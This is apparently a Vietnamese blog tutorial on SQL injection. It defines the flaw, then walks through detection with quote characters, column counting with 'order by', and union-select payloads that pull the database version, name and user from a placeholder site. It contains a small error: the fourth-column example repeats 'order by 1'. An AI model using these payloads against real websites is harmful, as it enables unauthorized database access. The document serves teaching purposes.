SQL Injection là 1 lỗ hổng khá phổ biến và quen thuộc với hầu hết những ai đam mê hacking, nhưng hầu hết chỉ biết nó là 1 lỗ hổng để khai thác nhằm mục đích cá nhân nhưng ít ai lại tìm hiểu về định nghĩa, lí thuyết và cách thức gây ra lỗi của nó.
1. Định Nghĩa:
SQL Injection là 1 lỗi xảy ra trong quá trình xử lí câu truy vấn SQL (SQL Query) có xuất hiện các kí tự đặc biệt, kí tự không hợp lệ hay không tồn tại trong cơ sở dữ liệu(database). Giúp cho kẻ tấn công dễ dàng khai thác ngay trên nơi chứa dữ liệu đầu vào của ứng dụng, website…
2. Cách thức gây ra lỗi:
Lỗi chỉ xảy ra khi ta thêm các kí tự đặc biệt như ‘,”,*,-,… mà kết quả trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì có nghĩa là trang đó đã dính lỗi sql injection trong lúc thực hiện truy vấn.
3. Kiểm tra và Khai thác:
Để kiểm tra lỗi ta thực hiện thêm ‘,”,*,- vào các giá trị đầu vào của website, chẳng hạn như tôi có
http://www.demo.com/index.php?id=1
thì id=1 của nó
id <== dữ liệu đầu vào
1 <== giá trị của dữ liệu đầu vào
ta tiến hành thêm các kí tự ‘,”,*,-,… thì nó sẽ thành
http://www.demo.com/index.php?id=1′
http://www.demo.com/index.php?id=1″
http://www.demo.com/index.php?id=1*
http://www.demo.com/index.php?id=-1
Nếu kết quả nó trả về là rỗng (empty, null, hoặc trang trắng) hay trả về dòng thông báo lỗi như Error, Falcal thì cho thấy website bị dính lỗi sql injection
  • Khai thác cơ bản – Đếm column (số cột) tồn tại trong table hiện tại mà website đang sử dụng:
Thực hiện bước này để ta đếm được số cột (column) tồn tại trong table hiện tại đang được sử dụng
ta có 2 truy vấn để thực hiện việc đếm số cột:
order by number
group by number
giả sử tôi có 1 website đang sử dụng table “sonictable” và trong table đó có 3 column(3 cột)
cột 1 tôi lấy tên là “id”
cột 2 tôi lấy tên là “content”
cột 3 tôi lấy tên là “authors”
Khi tôi muốn thực hiện đếm cột tôi sẽ thực hiện truy vấn như sau:
http://www.demo.com/index.php?id=1 order by 1– -
=> bình thường (có tồn tại cột thứ 1)
http://www.demo.com/index.php?id=1 order by 3– -
=>bình thường ( có tồn tại cột 3 )
nhưng khi tôi đếm sang cột thứ 4
http://www.demo.com/index.php?id=1 order by 1– -
=> bị lỗi trả về kết quả là error hoặc rỗng hoặc falcal
tức là website không tồn tại cột thứ 4
  • Khai thác cơ bản – tìm cột bị lỗi và tiến hành khai thác
để tìm được cột bị lỗi, tôi dùng query
union select number
sau khi tôi đã tìm được số cột, tôi tiến hành tìm cột nào được hiển thị và có lỗi bằng query “union select” và tôi tìm được 3 cột tồn tại trong table, tôi có query để hiện thị các table được sử dụng hiển thị ra màn hình như sau:
http://www.demo.com/index.php?id=1 union select 1,2,3
Lưu ý nhỏ: ** Khi union ta phải đưa giá trị về null để có thể hiện cột được sử dụng
http://www.demo.com/index.php?id=null union select 1,2,3
giả sử nó hiện số 2 ra tức là column thứ 2 (column “content”) đang được sử dụng để hiển thị nội dung, ta đánh dấu các column bằng số vì nó dễ nhìn (nếu có kiến thức thì có thể dùng cách khác để đánh dấu)
tới đây, ta tiến hành khai thác column thứ 2, ta khai thác version của sql mà server đang sử dụng
http://www.demo.com/index.php?id=null union select 1,version(),3
kết quả trả ra ngay vị trí thứ 2 sẽ là version của sql mà server đang sử dụng
* Mở rộng: ta có thể dùng hàm concat để hiển thị gộp tất cả các giá trị ta muốn hiển thị như version, database name, username database
http://www.demo.com/index.php?id=null union select 1,concat(version(),database(),user()),3
*và 1 rắc rối nhỏ là ta sẽ được trả ra 1 kết quả của version,database name, username database bị dính chùm rất khó nhìn, ta có thể tách nó ra bằng 1 đoạn mã hex 0x7c (7c là hex của “|” sau khi đã được chuyển thành hex)
http://www.demo.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3
và hiển thị lại không bị khó nhìn nữa.
Về cơ bản thì tới đây các bạn cũng nắm rõ phần nào về lỗ hổng sql injection, định nghĩa và khai thác của nó. ngoài ra các bạn có thể tham khảo thêm các video khai thác, các hướng dẫn khai thác để tiếp tục học hỏi thêm về sql injection.

Bạn có thích không?

Đăng nhận xét